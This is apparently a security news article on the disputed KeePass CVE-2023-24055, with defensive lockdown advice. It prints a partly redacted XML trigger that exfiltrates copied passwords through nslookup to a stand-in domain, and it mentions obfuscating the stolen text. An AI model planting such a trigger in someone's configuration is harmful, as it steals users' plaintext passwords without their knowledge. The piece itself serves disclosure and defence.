Password-stealing “vulnerability” reported in KeePass – bug or feature?

It’s been a newsworthy few weeks for password managers – those handy utilities that help you come up with a different password for every website you use, and then to keep track of them all.

At the end of 2022, it was the turn of LastPass to be all over the news, when the company finally admitted that a breach it suffered back in August 2022 did indeed end up with customers’ password vaults getting stolen from the cloud service where they were backed up.

(The passwords themselves weren’t stolen, because the vaults were encrypted, and LastPass didn’t have copies of anyone’s “master key” for the backup vault files themselves, but it was a closer shave than most people were happy to hear.)

Then it was LifeLock’s turn to be all over the news, when the company warned about what looked like a rash of password guessing attacks, probably based on passwords stolen from a completely different website, possibly some time ago, and perhaps purchased on the dark web recently.

LifeLock itself hadn’t been breached, but some of its users had, thanks to password-sharing behaviour caused by risks they might not even remember having taken.

Competitiors 1Password and BitWarden have been in the news recently, too, based on reports of malicious ads, apparently unwittingly aired by Google, that convincingly lured users to replica logon pages aimed at phishing their account details.

Now it’s KeePass’s turn to be in the news, this time for yet another cybersecurity issue: an alleged vulnerability, the jargon term used for software bugs that lead to cybersecurity holes that attackers might be able to exploit for evil purposes.

Password sniffing made easy

We’re referring to it as a vulnerability here because it does have an official bug identifier, issued by the US National Institute for Standards and Technology.

The bug has been dubbed CVE-2023-24055: Attacker who has write access to the XML configuration file [can] obtain the cleartext passwords by adding an export trigger.

The claim about being able to obtain cleartext passwords, unfortunately, is true.

If I have write access to your personal files, including your so-called %APPDATA% directory, I can sneakily tweak the configuration section to modify any KeePass settings that you have already customised, or to add customisations if you haven’t knowingly changed anything…

…and I can surprisingly easily steal your plaintext passwords, either in bulk, for example by dumping the whole database as an unencrypted CSV file, or as you use them, for example by setting a “program hook” that triggers every time you access a password from the database.

Note that I don’t need Administrator privileges, because I don’t need to mess with the actual installation directory where the KeePass app gets stored, which is typically off-limits to regular userse

And I don’t need access to any locked-down global configuration settings.

Interestingly, KeePass goes out of its way to stop your passwords being sniffed out when you use them, including using tamper-protection techniques to stop various anti-keylogger tricks even from users who already have sysadmin powers.

But the KeePass software also makes it surprisingly easy to capture plaintext password data, perhaps in ways you might consider “too easy”, even for non-administrators.

It was a minute’s work to use the KeePass GUI to create a Trigger event to run every time you copy a password into the clipboard, and to set that event to do a DNS lookup that included both the username and the plaintext password in question:

We could then copy the not-terribly-obvious XML setting for that option out of our own local configuration file into the configuration file of another user on the system, after which they too would find their passwords being leaked over the internet via DNS lookups.

Even though the XML configuration data is largely readable and informative, KeePass curiously uses random data strings known as GUIDs (short for globally unique identifiers) to denote the various Trigger settings, so that even a well-informed user would need an extensive reference list to make sense of which triggers are set, and how.

Here’s what our DNS-leaking trigger looks like, though we redacted some of the details so you can’t get up to any immediate mischief just by copying-and-pasting this text directly:

  <Trigger>     <Guid>XXXXXXXXXXXXXXXXXXXX</Guid>     <Name>Copy</Name>     <Comments>Steal stuff via DNS lookups</Comments>     <Events>        <Event>           <TypeGuid>XXXXXXXXXXXXXXXXXXXX</TypeGuid>           <Parameters>              <Parameter>0</Parameter>              <Parameter />           </Parameters>        </Event>     </Events>     <Conditions />     <Actions>        <Action>           <TypeGuid>XXXXXXXXXXXXXXXXXXXX</TypeGuid>           <Parameters>              <Parameter>nslookup</Parameter>              <Parameter>XXXXX.XXXXX.blah.test</Parameter>              <Parameter>True</Parameter>              <Parameter>1</Parameter>              <Parameter />           </Parameters>        </Action>     </Actions>  </Trigger>  

With this trigger active, accessing a KeePass password causes the plaintext to leak out in an unobtrusive DNS lookup to a domain of my choice, which is blah.test in this example.

Note that real-life attackers would almost certainly scramble or obfuscate the stolen text, which would not only make it harder to spot when DNS leaks were happening, but also take care of passwords containing non-ASCII characters, such as accented letters or emojis, that can’t otherwise be used in DNS names:

But is it really a bug?

The tricky question, however, is, “Is this really a bug, or is it just a powerful feature that could be abused by someone who would already need at least as much control over your private files as you have yourself?”

Simply put, is it a vulnerability if someone who already has control of your account can mess with files that your account is supposed to be able to access anyway?

Even though you might hope that a pssword manager would include lots of extra layers of tamper-protection to make it harder for bugs/features of this sort to be abused, should CVE-2023-24055 really be a CVE-listed vulnerability?

If so, wouldn’t commands such as DEL (delete a file) and FORMAT need to be “bugs”, too?

And wouldn’t the very existence of PowerShell, which makes potentially dangerous behaviour much easier to provoke (try powerhsell get-clipboard, for instance), be a vulnerability all of its own?

That’s KeePass’s position, acknowledged by the following text that has been added to the “bug” detail on NIST’s website:

** DISPUTED ** […] NOTE: the vendor’s position is that the password database is not intended to be secure against an attacker who has that level of access to the local PC.

What to do?

If you’re a standalone KeePass user, you can check for rogue Triggers like the “DNS Stealer” we created above by opening the KeePass app and perusing the Tools > Triggers… window:

Note that you can turn the entire Trigger system off from this window, simply by deslecting the [ ] Enable trigger system option…

…but that isn’t a global setting, so it can be turned back on again via your local configuration file, and therefore only protects you from mistakes, rather than from an attacker with access to your account.

You can force the option off for everyone on the computer, with no option for them to turn it back on themselves, by modifying the global “lockdown” file KeePass.config.enforced.XML, found in the directory where the app program itself is intalled.

Triggers will be forced off for everyone if your global XML enforcement file looks like this:

  <?xml version="1.0" encoding="utf-8"?>  <Configuration xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">     <Application>        <TriggerSystem>           <Enabled>false</Enabled>        </TriggerSystem>     </Application>  </Configuration>  

(In case you’re wondering, an attacker who has write access to the application directory to reverse this change would almost certainly have enough system-level power to modify the Keyeass app entirely, or to install and activate a standalone keylogger anyway.)

If you’re a network administrator tasked with locking down KeePass on your users’ computers so that it’s still flexible enough to help them, but not flexible enough for them to help cybercriminals by mistake, we recommend reading through the KeePass Security Issues page, the Triggers page, and the Enforced Configuration page.